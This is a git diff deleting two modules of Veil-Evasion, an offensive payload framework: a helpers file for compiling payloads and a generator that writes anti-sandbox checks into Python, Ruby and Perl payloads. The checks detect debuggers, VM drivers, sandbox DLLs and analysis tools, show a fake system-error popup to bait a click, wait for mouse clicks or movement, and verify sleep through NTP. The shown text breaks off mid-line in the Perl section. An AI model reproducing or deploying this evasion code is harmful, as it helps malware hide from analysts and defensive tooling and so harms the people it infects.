-import base64 -import os -import random -import string -import subprocess -import sys -import textwrap -import zlib -from lib.common import helpers - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -def deflate(string_val): - """ - Compress/base64 encode a string. Used in powershell invokers. - """ - string_val = string_val.encode() - zlibbed_str = zlib.compress(string_val) - compressed_string = zlibbed_str[2:-4] - return base64.b64encode(compressed_string).decode('ascii') - - -def compileToTemp(language, payloadSource): - """ - Compiles payload code to a temporary location and returns the path. - """ - if language == "cs": - - tempExeName = settings.TEMP_DIR + "temp.exe" - tempSourceName = settings.TEMP_DIR + "temp.cs" - - # write out the payload source to the temporary location - with open(settings.TEMP_DIR + "temp.cs", 'w') as f: - f.write(payloadSource) - - # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run - os.system('mcs -platform:x86 -target:winexe ' + tempSourceName + ' -out:' + tempExeName) - return tempExeName - - -def expiring_payload_variables(): - # Expiring payload specific variables - RandToday = randomString() - RandExpire = randomString() - return RandToday, RandExpire - - -def format_long(title, message, frontTab=True, spacing=16): - """ - Print a long title:message with our standardized formatting. - Wraps multiple lines into a nice paragraph format. - """ - - lines = textwrap.wrap(textwrap.dedent(message).strip(), width=50) - returnString = "" - - i = 1 - if len(lines) > 0: - if frontTab: - returnString += "\t%s%s" % (('{0: <%s}' % spacing).format(title), lines[0]) - else: - returnString += " %s%s" % (('{0: <%s}' % (spacing-1)).format(title), lines[0]) - while i < len(lines): - if frontTab: - returnString += "\n\t" + ' ' * spacing + lines[i] - else: - returnString += "\n" + ' ' * spacing + lines[i] - i += 1 - return returnString - - -def inflate(b64string): - """ - Decode/decompress a base64 string. Used in powershell invokers. - """ - decoded_data = base64.b64decode(b64string) - return zlib.decompress(decoded_data, -15).encode('ascii') - - -def LHOST(): - """ - Return the IP of eth0 - """ - ip_output = subprocess.getoutput("/sbin/ifconfig eth0").split("\n")[1].split()[1] - if 'addr' in ip_output: - ip_output = ip_output[5:] - return ip_output - - -def obfuscateNum(N, mod): - """ - Take a number and modulus and return an obsucfated form. - Returns a string of the obfuscated number N - """ - d = random.randint(1, mod) - left = int(N / d) - right = d - remainder = N % d - return "(%s*%s+%s)" % (left, right, remainder) - - -def print_dict_message(commands, show_title=True): - if show_title: - title_screen() - - print(" Available Commands:\n") - - # list commands in sorted order - for (cmd, desc) in sorted(commands.items()): - print("\t%s\t%s" % ('{0: <12}'.format(cmd), desc)) - return - - -def randomString(length=-1): - """ - Returns a random string of "length" characters. - If no length is specified, resulting string is in - between 6 and 15 characters. - """ - if length == -1: - length = random.randrange(6, 16) - random_string = ''.join(random.choice(string.ascii_letters) for x in range(length)) - return random_string - - -def title_screen(): - """ - Print the framework title, with version. - """ - os.system('clear') - print('=' * 79) - print(' ' * 35 + helpers.color('Veil-Evasion', status=False, bold=True)) - print('=' * 79) - print(' [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework') - print('=' * 79 + '\n') - return diff --git a/Tools/Evasion/evasion_common/gamemaker.py b/Tools/Evasion/evasion_common/gamemaker.py deleted file mode 100644 index caf2dc9..0000000 --- a/Tools/Evasion/evasion_common/gamemaker.py +++ /dev/null @@ -1,1067 +0,0 @@ -""" -This file contains the payload sandbox checks for each respective language -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import evasion_helpers - - -def senecas_games(evasion_payload): - # Start checks to determine language - # Define original values of variables - num_tabs_required = 0 - check_code = '' - - if evasion_payload.language == 'python': - if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": - - RandToday = evasion_helpers.randomString() - RandExpire = evasion_helpers.randomString() - - todaysdate = date.today() - expiredate = str(todaysdate + timedelta(days=int(evasion_payload.required_options["EXPIRE_PAYLOAD"][0]))) - - # Create Payload code - check_code += '\t' * num_tabs_required + 'from datetime import datetime\n' - check_code += '\t' * num_tabs_required + 'from datetime import date\n' - check_code += '\t' * num_tabs_required + RandToday + ' = datetime.now()\n' - check_code += '\t' * num_tabs_required + RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' - check_code += '\t' * num_tabs_required + 'if ' + RandToday + ' < ' + RandExpire + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - rand_hostname = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import platform\n' - check_code += '\t' * num_tabs_required + rand_hostname + ' = platform.node()\n' - check_code += '\t' * num_tabs_required + 'if \"' + evasion_payload.required_options["HOSTNAME"][0].lower() + '\" in ' + rand_hostname + '.lower():\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - rand_domain = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import socket\n' - check_code += '\t' * num_tabs_required + rand_domain + ' = socket.getfqdn()\n' - check_code += '\t' * num_tabs_required + 'if \"' + evasion_payload.required_options["DOMAIN"][0].lower() + '\" in ' + rand_domain + '.lower():\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - - rand_processor_count = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import multiprocessing\n' - check_code += '\t' * num_tabs_required + rand_processor_count + ' = multiprocessing.cpu_count()\n' - check_code += '\t' * num_tabs_required + 'if ' + rand_processor_count + ' >= ' + evasion_payload.required_options["PROCESSORS"][0] + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - rand_user_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import getpass\n' - check_code += '\t' * num_tabs_required + rand_user_name + ' = getpass.getuser()\n' - check_code += '\t' * num_tabs_required + 'if \'' + evasion_payload.required_options["USERNAME"][0].lower() + '\' in ' + rand_user_name + '.lower():\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DETECTDEBUG"][0].lower() != "false": - - is_debugger_present = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'from ctypes import *\n' - check_code += '\t' * num_tabs_required + is_debugger_present + ' = windll.kernel32.IsDebuggerPresent()\n' - check_code += '\t' * num_tabs_required + 'if ' + is_debugger_present + ' == 0:\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["VIRTUALDLLS"][0].lower() != "false": - - evidenceof_sandbox = evasion_helpers.randomString() - sandbox_dlls = evasion_helpers.randomString() - all_pids = evasion_helpers.randomString() - pid = evasion_helpers.randomString() - hProcess = evasion_helpers.randomString() - curProcessDLLs = evasion_helpers.randomString() - dll = evasion_helpers.randomString() - dll_name = evasion_helpers.randomString() - sandbox_dll = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import win32api\n' - check_code += '\t' * num_tabs_required + 'import win32process\n' - check_code += '\t' * num_tabs_required + evidenceof_sandbox + '= []\n' - # removed dbghelp.dll - check_code += '\t' * num_tabs_required + sandbox_dlls + ' = ["sbiedll.dll","api_log.dll","dir_watch.dll","pstorec.dll","vmcheck.dll","wpespy.dll"]\n' - check_code += '\t' * num_tabs_required + all_pids + '= win32process.EnumProcesses()\n' - check_code += '\t' * num_tabs_required + 'for ' + pid + ' in ' + all_pids + ':\n' - check_code += '\t' * num_tabs_required + '\ttry:\n' - check_code += '\t' * num_tabs_required + '\t\t' + hProcess + ' = win32api.OpenProcess(0x0410, 0, ' + pid + ')\n' - check_code += '\t' * num_tabs_required + '\t\ttry:\n' - check_code += '\t' * num_tabs_required + '\t\t\t' + curProcessDLLs + '= win32process.EnumProcessModules(' + hProcess + ')\n' - check_code += '\t' * num_tabs_required + '\t\t\tfor ' + dll + ' in ' + curProcessDLLs + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t' + dll_name + '= str(win32process.GetModuleFileNameEx(' + hProcess + ', ' + dll + ')).lower()\n' - check_code += '\t' * num_tabs_required + '\t\t\t\tfor ' + sandbox_dll + ' in '+ sandbox_dlls + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t\tif ' + sandbox_dll + ' in ' + dll_name + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t\t\tif ' + dll_name + ' not in ' + evidenceof_sandbox + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t\t\t\t' + evidenceof_sandbox + '.append(' + dll_name + ')\n' - check_code += '\t' * num_tabs_required + '\t\tfinally:\n' - check_code += '\t' * num_tabs_required + '\t\t\twin32api.CloseHandle(' + pid + ')\n' - check_code += '\t' * num_tabs_required + '\texcept:\n' - check_code += '\t' * num_tabs_required + '\t\tpass\n' - check_code += '\t' * num_tabs_required + 'if not ' + evidenceof_sandbox + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["MINRAM"][0].lower() != "false": - - class_name = evasion_helpers.randomString() - field_name = evasion_helpers.randomString() - memory_status = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import ctypes\n' - check_code += '\t' * num_tabs_required + 'class ' + class_name + ' (ctypes.Structure):\n' - check_code += '\t' * num_tabs_required + '\t_fields_ = [\n' - check_code += '\t' * num_tabs_required + '\t\t("dwLength", ctypes.c_ulong),\n' - check_code += '\t' * num_tabs_required + '\t\t("dwMemoryLoad", ctypes.c_ulong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullTotalPhys", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullAvailPhys", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullTotalPageFile", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullAvailPageFile", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullTotalVirtual", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullAvailVirtual", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("sullAvailExtendedVirtual", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t]\n' - check_code += '\t' * num_tabs_required + memory_status + ' = ' + class_name + '()\n' - check_code += '\t' * num_tabs_required + memory_status + '.dwLength = ctypes.sizeof(' + class_name + ')\n' - check_code += '\t' * num_tabs_required + 'ctypes.windll.kernel32.GlobalMemoryStatusEx(ctypes.byref(' + memory_status + '))\n' - check_code += '\t' * num_tabs_required + 'if ' + memory_status + '.ullTotalPhys/1073741824 > 3:\n' - - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["CLICKTRACK"][0].lower() != "x": - - rand_counter = evasion_helpers.randomString() - minimum_clicks = evasion_helpers.randomString() - left_click = evasion_helpers.randomString() - right_click = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import win32api\n' - check_code += '\t' * num_tabs_required + rand_counter + " = 0\n" - check_code += '\t' * num_tabs_required + minimum_clicks + " = " + evasion_payload.required_options["CLICKTRACK"][0] + "\n" - check_code += '\t' * num_tabs_required + 'while ' + rand_counter + ' < ' + minimum_clicks + ':\n' - check_code += '\t' * num_tabs_required + '\t' + left_click + ' = win32api.GetAsyncKeyState(1)\n' - check_code += '\t' * num_tabs_required + '\t' + right_click + ' = win32api.GetAsyncKeyState(2)\n' - check_code += '\t' * num_tabs_required + '\t' + 'if ' + left_click + ' % 2 == 1:\n' - check_code += '\t' * num_tabs_required + '\t\t' + rand_counter + ' += 1\n' - check_code += '\t' * num_tabs_required + '\t' + 'if ' + right_click + ' % 2 == 1:\n' - check_code += '\t' * num_tabs_required + '\t\t' + rand_counter + ' += 1\n' - check_code += '\t' * num_tabs_required + 'if ' + rand_counter + ' >= ' + minimum_clicks + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["VIRTUALFILES"][0].lower() != "false": - - vmfiles_exist = evasion_helpers.randomString() - files_tocheck = evasion_helpers.randomString() - file_path = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import os\n' - check_code += '\t' * num_tabs_required + vmfiles_exist + ' = []\n' - check_code += '\t' * num_tabs_required + files_tocheck + " = [r'C:\windows\Sysnative\Drivers\Vmmouse.sys', r'C:\windows\Sysnative\Drivers\vm3dgl.dll', r'C:\windows\Sysnative\Drivers\vmdum.dll', r'C:\windows\Sysnative\Drivers\vm3dver.dll', r'C:\windows\Sysnative\Drivers\vmtray.dll', r'C:\windows\Sysnative\Drivers\vmci.sys', r'C:\windows\Sysnative\Drivers\vmusbmouse.sys', r'C:\windows\Sysnative\Drivers\vmx_svga.sys', r'C:\windows\Sysnative\Drivers\vmxnet.sys', r'C:\windows\Sysnative\Drivers\VMToolsHook.dll', r'C:\windows\Sysnative\Drivers\vmhgfs.dll', r'C:\windows\Sysnative\Drivers\vmmousever.dll', r'C:\windows\Sysnative\Drivers\vmGuestLib.dll', r'C:\windows\Sysnative\Drivers\VmGuestLibJava.dll', r'C:\windows\Sysnative\Drivers\vmscsi.sys', r'C:\windows\Sysnative\Drivers\VBoxMouse.sys', r'C:\windows\Sysnative\Drivers\VBoxGuest.sys', r'C:\windows\Sysnative\Drivers\VBoxSF.sys', r'C:\windows\Sysnative\Drivers\VBoxVideo.sys', r'C:\windows\Sysnative\vboxdisp.dll', r'C:\windows\Sysnative\vboxhook.dll', r'C:\windows\Sysnative\vboxmrxnp.dll', r'C:\windows\Sysnative\vboxogl.dll', r'C:\windows\Sysnative\vboxoglarrayspu.dll', r'C:\windows\Sysnative\vboxoglcrutil.dll', r'C:\windows\Sysnative\vboxoglerrorspu.dll', r'C:\windows\Sysnative\vboxoglfeedbackspu.dll', r'C:\windows\Sysnative\vboxoglpackspu.dll', r'C:\windows\Sysnative\vboxoglpassthroughspu.dll', r'C:\windows\Sysnative\vboxservice.exe', r'C:\windows\Sysnative\vboxtray.exe', r'C:\windows\Sysnative\VBoxControl.exe']" - check_code += '\t' * num_tabs_required + 'for ' + file_path + ' in ' + files_tocheck + ':\n' - check_code += '\t' * num_tabs_required + '\tif os.path.isfile(' + file_path + '):\n' - check_code += '\t' * num_tabs_required + '\t\t' + vmfiles_exist + '.append(' + file_path + ')' - check_code += '\t' * num_tabs_required + 'if not ' + vmfiles_exist + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["CURSORMOVEMENT"][0].lower() != "false": - - seconds = evasion_helpers.randomString() - x_position = evasion_helpers.randomString() - y_position = evasion_helpers.randomString() - x2_position = evasion_helpers.randomString() - y2_position = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'from time import sleep\n' - check_code += '\t' * num_tabs_required + 'import win32api\n' - check_code += '\t' * num_tabs_required + seconds + ' = 30\n' - check_code += '\t' * num_tabs_required + x_position + ', ' + y_position + ' = win32api.GetCursorPos()\n' - check_code += '\t' * num_tabs_required + 'sleep(30)\n' - check_code += '\t' * num_tabs_required + x2_position + ', ' + y2_position + ' = win32api.GetCursorPos()\n' - check_code += '\t' * num_tabs_required + 'if ' + x_position + ' - ' + x2_position + ' != 0 or ' + y_position + ' - ' + y2_position + ' != 0:\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": - - popup_title = evasion_helpers.randomString() - popup_message = evasion_helpers.randomString() - message_box = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import ctypes\n' - check_code += '\t' * num_tabs_required + popup_title + ' = "System Error 0x18463832"\n' - check_code += '\t' * num_tabs_required + popup_message + ' = "Your system encountered an error, please click OK to proceed"\n' - check_code += '\t' * num_tabs_required + message_box + ' = ctypes.windll.user32.MessageBoxW\n' - check_code += '\t' * num_tabs_required + message_box + '(None, ' + popup_message + ', ' + popup_title + ', 0)\n' - check_code += '\t' * num_tabs_required + 'if True:\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SANDBOXPROCESS"][0].lower() != "false": - - sandbox_exist = evasion_helpers.randomString() - bad_procs = evasion_helpers.randomString() - current_processes = evasion_helpers.randomString() - process = evasion_helpers.randomString() - sandbox_proc = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import win32pdh\n' - check_code += '\t' * num_tabs_required + sandbox_exist + ' = []\n' - check_code += '\t' * num_tabs_required + bad_procs + ' = "vmsrvc", "tcpview", "wireshark", "visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs"\n' - check_code += '\t' * num_tabs_required + '_, ' + current_processes + ' = win32pdh.EnumObjectItems(None,None,\'process\', win32pdh.PERF_DETAIL_WIZARD)\n' - check_code += '\t' * num_tabs_required + 'for ' + process + ' in ' + current_processes + ':\n' - check_code += '\t' * num_tabs_required + '\tfor ' + sandbox_proc + ' in ' + bad_procs + ':\n' - check_code += '\t' * num_tabs_required + '\t\tif ' + sandbox_proc + ' in str(' + process + '.lower()):\n' - check_code += '\t' * num_tabs_required + '\t\t\t' + sandbox_exist + '.append(' + process + ')\n' - check_code += '\t' * num_tabs_required + '\t\t\tbreak\n' - check_code += '\t' * num_tabs_required + 'if not ' + sandbox_exist + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": - - time_import = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import time as ' + time_import + '\n' - check_code += '\t' * num_tabs_required + 'if ' + time_import + '.tzname[0] != "Coordinated Universal Time" and ' + time_import + '.tzname[1] != "Coordinated Universal Time":\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - rand_time_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'from time import sleep\n' - check_code += '\t' * num_tabs_required + 'from socket import AF_INET, SOCK_DGRAM\n' - check_code += '\t' * num_tabs_required + 'import sys\n' - check_code += '\t' * num_tabs_required + 'import datetime\n' - check_code += '\t' * num_tabs_required + 'import time\n' - check_code += '\t' * num_tabs_required + 'import socket\n' - check_code += '\t' * num_tabs_required + 'import struct\n' - check_code += '\t' * num_tabs_required + 'client = socket.socket(AF_INET, SOCK_DGRAM)\n' - check_code += '\t' * num_tabs_required + 'client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))\n' - check_code += '\t' * num_tabs_required + 'msg, address = client.recvfrom( 1024 )\n' - check_code += '\t' * num_tabs_required + rand_time_name + ' = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)\n' - check_code += '\t' * num_tabs_required + 'sleep(' + evasion_payload.required_options["SLEEP"][0] + ')\n' - check_code += '\t' * num_tabs_required + 'client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))\n' - check_code += '\t' * num_tabs_required + 'msg, address = client.recvfrom( 1024 )\n' - check_code += '\t' * num_tabs_required + 'if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - ' + rand_time_name + ').seconds >= ' + evasion_payload.required_options["SLEEP"][0] + '):\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'ruby': - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - check_code += 'require \'socket\'\n' - check_code += 'hostname = Socket.gethostname.downcase\n' - check_code += 'if hostname[\"' + evasion_payload.required_options["HOSTNAME"][0].lower() + '\"]\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - check_code += 'require \'socket\'\n' - check_code += 'domain = Socket.gethostname.downcase\n' - check_code += 'if domain[\"' + evasion_payload.required_options["DOMAIN"][0].lower() + '\"]\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - check_code += 'name = ENV["USERNAME"].downcase\n' - check_code += 'if name[\"' + evasion_payload.required_options["USERNAME"][0].lower() + '\"]\n' - - # Add a tab for this check - num_tabs_required += 1 - - #if evasion_payload.required_options["DISKSIZE"][0].lower() != "x": - - # check_code += "require 'win32api'\n" - # check_code += 'minDiskSizeGB = 50\n' - # check_code += "GetDiskFreeSpaceEx = Win32API.new(\"kernel32\", \"GetDiskFreeSpaceEx\", ['P','P','P','P'], 'I')\n" - # check_code += 'diskSizeBytes = [0].pack("Q"); freeBytesAvail = [0].pack("Q"); totalFreeBytes = [0].pack("Q")\n' - # check_code += 'GetDiskFreeSpaceEx.call("C:", freeBytesAvail, diskSizeBytes, totalFreeBytes)\n' - # check_code += 'diskSizeGB = diskSizeBytes.unpack("Q").first / 1073741824.0\n' - # check_code += 'if diskSizeGB > minDiskSizeGB' - - # Add a tab for this check - # num_tabs_required += 1 - - #if evasion_payload.required_options["NUMPROCS"][0].lower() != "x": - # check_code += "require 'win32ole'\n" - # check_code += 'if (WIN32OLE.connect("winmgmts://").ExecQuery("SELECT NumberOfCores FROM Win32_Processor").to_enum.first.NumberOfCores >= ' + evasion_payload.required_options["NUMPROCS"][0] + ')\n' - - # Add a tab for this check - # num_tabs_required += 1 - - #if evasion_payload.required_options["MINRAM"][0].lower() != 'x': - - #if evasion_payload.required_options["USERPROMPT"][0].lower() != "x": - - ## title_bar = evasion_helpers.randomString() - # body_text = evasion_helpers.randomString() - # winapi_call = evasion_helpers.randomString() - - # check_code += 'require "Win32API"\n' - # check_code += title_bar + ' = "System Error Encountered"\n' - # check_code += body_text + ' = "Error encountered at address 0x41d3837f. Press OK to continue"\n' - # check_code += winapi_call + " = Win32API.new('user32', 'MessageBox',['L', 'P', 'P', 'L'],'I')\n" - # check_code += winapi_call + '.call(0,dialogBoxMessage,dialogBoxTitle,0)\n' - # check_code += 'if true\n' - - # Add a tab for this check - # num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - check_code += 'require \'socket\'\n' - check_code += 'ntp_msg = (["00011011"] + Array.new(47,1)).pack("B8 C47")\n' - check_code += 'sock = UDPSocket.new;sock.connect("us.pool.ntp.org", 123);sock.print ntp_msg;sock.flush;data,_ = sock.recvfrom(960);sock.close\n' - check_code += 'firstTime = Time.at(data.unpack("B319 B32 B32")[1].to_i(2) - 2208988800)\n' - check_code += 'sleep(' + evasion_payload.required_options["SLEEP"][0] + ')\n' - check_code += 'sock = UDPSocket.new;sock.connect("us.pool.ntp.org", 123);sock.print ntp_msg;sock.flush;data,_ = sock.recvfrom(960)\n' - check_code += 'if (Time.at(data.unpack("B319 B32 B32")[1].to_i(2) - 2208988800) - firstTime >= ' + evasion_payload.required_options["SLEEP"][0] + ')\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'perl': - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - rand_hostname = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'Use Sys::Hostname;\n' - check_code += '\t' * num_tabs_required + 'my $' + rand_hostname + ' = hostname;\n' - check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_hostname + '), lc(' + evasion_payload.required_options["HOSTNAME"][0] + ')) != -1){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != 'x': - - flags = evasion_helpers.randomString() - title_bar_prompt = evasion_helpers.randomString() - message_prompt = evasion_helpers.randomString() - msg_box = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32;\n' - check_code += '\t' * num_tabs_required + '$' + flags + ' = 0x0;\n' - check_code += '\t' * num_tabs_required + '$' + msg_box + ' = new Win32::API ( "user32", "MessageBox", [N, P, P, I], N );\n' - check_code += '\t' * num_tabs_required + '$' + msg_box + '->Call ( 0, "System error at 0x48d72ac3. Press OK to continue.", "System Error Encountered", $' + flags + ');' - check_code += '\t' * num_tabs_required + 'if (1) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["RAMSIZE"][0].lower() != 'x': - - wmi_cim = evasion_helpers.randomString() - total_ram = evasion_helpers.randomString() - subMem = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE qw(EVENTS HRESULT in);\n' - check_code += '\t' * num_tabs_required + 'my $' + wmi_cim + ' = Win32::OLE->GetObject("WINMGMTS://./root/CIMv2");\n' - check_code += '\t' * num_tabs_required + 'my $' + total_ram + ' = 0;\n' - check_code += '\t' * num_tabs_required + 'foreach my $' + subMem + ' (in($' + wmi_cim + '->InstancesOf("Win32_PhysicalMemory"))) {\n' - check_code += '\t' * num_tabs_required + '\t$' + total_ram + ' += $' + subMem + '->{Capacity};\n' - check_code += '\t' * num_tabs_required + '}\n' - check_code += '\t' * num_tabs_required + 'if ($' + total_ram + '/1073741824 > ' + evasion_payload.required_options["RAMSIZE"][0] + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["FILENAME"][0].lower() != 'x': - - expected_name = evasion_helpers.randomString() - actual_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use File::Basename;\n' - check_code += '\t' * num_tabs_required + 'my $' + expected_name + ' = "' + evasion_payload.required_options["FILENAME"][0].lower() + '";\n' - check_code += '\t' * num_tabs_required + 'my $' + actual_name + ' = basename($0);\n' - check_code += '\t' * num_tabs_required + 'if (index($' + actual_name + ', $' + expected_name + ') != -1) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["NUMPROCS"][0].lower() != 'x': - - min_procs = evasion_helpers.randomString() - wmi_var = evasion_helpers.randomString() - total_procs = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' - check_code += '\t' * num_tabs_required + 'my $' + min_procs + ' = ' + evasion_payload.required_options["NUMPROCS"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + wmi_var + ' = Win32::OLE->GetObject("winmgmts:\\\\\\\\localhost\\\\root\\\\CIMV2") or die;\n' - check_code += '\t' * num_tabs_required + 'my $' + total_procs + ' = $' + wmi_var + '->ExecQuery("SELECT * FROM Win32_Process")->{Count} or die;\n' - check_code += '\t' * num_tabs_required + 'if ($' + total_procs + ' > $' + min_procs + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DISKSIZE"][0].lower() != 'x': - - min_disksize = evasion_helpers.randomString() - file_object = evasion_helpers.randomString() - real_disksize = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' - check_code += '\t' * num_tabs_required + 'my $' + min_disksize + ' = ' + evasion_payload.required_options['DISKSIZE'][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + file_object + ' = Win32::OLE->CreateObject("Scripting.FileSystemObject");\n' - check_code += '\t' * num_tabs_required + 'my $' + real_disksize + ' = $' + file_object + '->GetDrive("C:")->{TotalSize}/1073741824.0;\n' - check_code += '\t' * num_tabs_required + 'if ($' + min_disksize + ' < $' + real_disksize + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["NUMCLICKS"][0].lower() != 'x': - - perl_min_clicks = evasion_helpers.randomString() - perl_key_state = evasion_helpers.randomString() - click_count = evasion_helpers.randomString() - perl_leftclick = evasion_helpers.randomString() - perl_rightclick = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'my $' + perl_min_clicks + ' = ' + evasion_payload.required_options["NUMCLICKS"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + perl_key_state + ' = new Win32::API("user32", "GetAsyncKeyState", +"I", "N");\n' - check_code += '\t' * num_tabs_required + 'my $' + click_count + ' = 0;\n' - check_code += '\t' * num_tabs_required + 'while ($' + click_count + ' < $' + perl_min_clicks + ') {\n' - check_code += '\t' * num_tabs_required + '\tmy $' + perl_leftclick + ' = $' + perl_key_state + '->Call(1);\n' - check_code += '\t' * num_tabs_required + '\tmy $' + perl_rightclick + ' = $' + perl_key_state + '->Call(2);\n' - check_code += '\t' * num_tabs_required + '\tif ($' + perl_leftclick + ') {\n' - check_code += '\t' * num_tabs_required + '\t\t++$' + click_count + ';\n' - check_code += '\t' * num_tabs_required + '\t}\n' - check_code += '\t' * num_tabs_required + '\tif ($' + perl_rightclick + ') {\n' - check_code += '\t' * num_tabs_required + '\t\t++$' + click_count + ';\n' - check_code += '\t' * num_tabs_required + '\t}\n' - check_code += '\t' * num_tabs_required + '\tsleep(2);\n' - check_code += '\t' * num_tabs_required + '}\n' - check_code += '\t' * num_tabs_required + 'if (1) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["REGSIZE"][0].lower() != 'x': - - reg_mb_size = evasion_helpers.randomString() - perl_wmi = evasion_helpers.randomString() - reg_dump = evasion_helpers.randomString() - reg_size = evasion_helpers.randomString() - perl_reg_obj = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' - check_code += '\t' * num_tabs_required + 'my $' + reg_mb_size + ' = ' + evasion_payload.required_options["REGSIZE"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + perl_wmi + ' = Win32::OLE->GetObject("winmgmts:\\\\\\\\localhost\\\\root\\\\CIMV2") or die;\n' - check_code += '\t' * num_tabs_required + 'my $' + reg_dump + ' = $' + perl_wmi + '->ExecQuery("SELECT CurrentSize from Win32_Registry") or die;\n' - check_code += '\t' * num_tabs_required + 'my $' + reg_size + ';\n' - check_code += '\t' * num_tabs_required + 'foreach my $' + perl_reg_obj + ' (in $' + reg_dump + ') { $' + reg_size + ' = $' + perl_reg_obj + 